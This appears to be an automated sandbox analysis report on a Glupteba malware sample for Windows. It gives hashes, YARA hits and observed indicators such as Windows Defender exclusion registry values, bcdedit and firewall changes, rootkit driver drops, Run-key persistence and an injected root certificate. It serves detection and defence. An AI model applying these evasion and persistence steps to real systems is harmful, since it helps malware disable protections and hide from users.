Analysis
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max time kernel
300s -
max time network
300s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
18-04-2024 23:09
Static task
static1
Behavioral task
behavioral1
Sample
c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe
Resource
win7-20240221-en
General
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Target
c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe
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Size
4.2MB
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MD5
08b4b79e38098f63c2f042fd14b050ce
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SHA1
b10793e6fd33bac98c854144375747006ffff1d0
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SHA256
c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198
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SHA512
6b806ccafdadc0dc7d33e765d111e5fc6a6db496694dd3eb4d6ae980dbc8a35353629d74ff0d5270e46697a6fbf595d2cde724b0b738f23faa1b9b019437b0d6
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SSDEEP
98304:+xYk/Wd4gprCGADohyqBdv1Fi5ytzZrDpDNRM:wnWmu2kBdS54nBNi
Malware Config
Signatures
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Glupteba payload 38 IoCs
Processes:
resource yara_rule behavioral1/memory/2156-2-0x0000000004C70000-0x000000000555B000-memory.dmp family_glupteba behavioral1/memory/2156-3-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2156-4-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2156-7-0x0000000004C70000-0x000000000555B000-memory.dmp family_glupteba behavioral1/memory/3028-20-0x0000000004D50000-0x000000000563B000-memory.dmp family_glupteba behavioral1/memory/3028-21-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/3028-30-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2468-47-0x0000000140000000-0x00000001405E8000-memory.dmp family_glupteba behavioral1/memory/2764-38-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-73-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-116-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-121-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-122-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-152-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-161-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-162-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-164-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-167-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-169-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-170-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-172-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-175-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-177-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-179-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-180-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-182-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-185-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-187-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-188-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-190-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-192-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-195-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-197-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-198-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-200-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-202-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-205-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral1/memory/2764-207-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba -
Processes:
c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe -
Modifies boot configuration data using bcdedit 1 TTPs 14 IoCs
Processes:
bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exepid process 2688 bcdedit.exe 2536 bcdedit.exe 1576 bcdedit.exe 1784 bcdedit.exe 2156 bcdedit.exe 2492 bcdedit.exe 1632 bcdedit.exe 3008 bcdedit.exe 1732 bcdedit.exe 2976 bcdedit.exe 2260 bcdedit.exe 880 bcdedit.exe 1736 bcdedit.exe 1884 bcdedit.exe -
Drops file in Drivers directory 1 IoCs
Processes:
csrss.exedescription ioc process File created C:\Windows\system32\drivers\Winmon.sys csrss.exe -
Modifies Windows Firewall 2 TTPs 1 IoCs
Processes:
netsh.exepid process 1488 netsh.exe -
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
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Executes dropped EXE 7 IoCs
Processes:
csrss.exepatch.exeinjector.exedsefix.exewindefender.exewindefender.exedcb505dc2b9d8aac05f4ca0727f5eadb.exepid process 2764 csrss.exe 2468 patch.exe 1840 injector.exe 2392 dsefix.exe 2520 windefender.exe 2936 windefender.exe 2352 dcb505dc2b9d8aac05f4ca0727f5eadb.exe -
Loads dropped DLL 15 IoCs
Processes:
c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exepatch.execsrss.exepid process 3028 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 3028 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 860 2468 patch.exe 2468 patch.exe 2468 patch.exe 2468 patch.exe 2468 patch.exe 2764 csrss.exe 2468 patch.exe 2468 patch.exe 2468 patch.exe 2764 csrss.exe 2764 csrss.exe 2764 csrss.exe -
Processes:
resource yara_rule C:\Windows\windefender.exe upx behavioral1/memory/2520-156-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral1/memory/2936-159-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral1/memory/2520-160-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral1/memory/2936-163-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral1/memory/2936-166-0x0000000000400000-0x00000000008DF000-memory.dmp upx \Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe upx C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe upx C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe upx \Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe upx behavioral1/memory/2352-218-0x0000000000400000-0x00000000008E1000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe upx C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe upx \Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe upx behavioral1/memory/2724-229-0x0000000001030000-0x00000000018FD000-memory.dmp upx \Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe upx -
Processes:
c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.execsrss.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" csrss.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Manipulates WinMon driver. 1 IoCs
Roottkits write to WinMon to hide PIDs from being detected.
Processes:
csrss.exedescription ioc process File opened for modification \??\WinMon csrss.exe -
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
Processes:
csrss.exedescription ioc process File opened for modification \??\WinMonFS csrss.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
Processes:
c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exedescription ioc process File opened (read-only) \??\VBoxMiniRdrDN c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe -
Drops file in Windows directory 5 IoCs
Processes:
makecab.exec7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.execsrss.exedescription ioc process File created C:\Windows\Logs\CBS\CbsPersist_20240418230925.cab makecab.exe File opened for modification C:\Windows\rss c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe File created C:\Windows\rss\csrss.exe c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exepid process 1496 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1312 schtasks.exe 2884 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
windefender.exec7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-672 = "AUS Eastern Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-472 = "Ekaterinburg Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-372 = "Jerusalem Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-512 = "Central Asia Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-542 = "Myanmar Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-202 = "US Mountain Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-961 = "Paraguay Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-352 = "FLE Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-364 = "Middle East Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-192 = "Mountain Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-241 = "Samoa Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-152 = "Central America Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-105 = "Central Brazilian Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-41 = "E. South America Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-401 = "Arabic Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-231 = "Hawaiian Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-962 = "Paraguay Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-222 = "Alaskan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-541 = "Myanmar Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-562 = "SE Asia Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-572 = "China Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-422 = "Russian Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-281 = "Central Europe Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-272 = "Greenwich Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-891 = "Morocco Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-742 = "New Zealand Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-251 = "Dateline Daylight Time" windefender.exe -
Processes:
patch.execsrss.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b13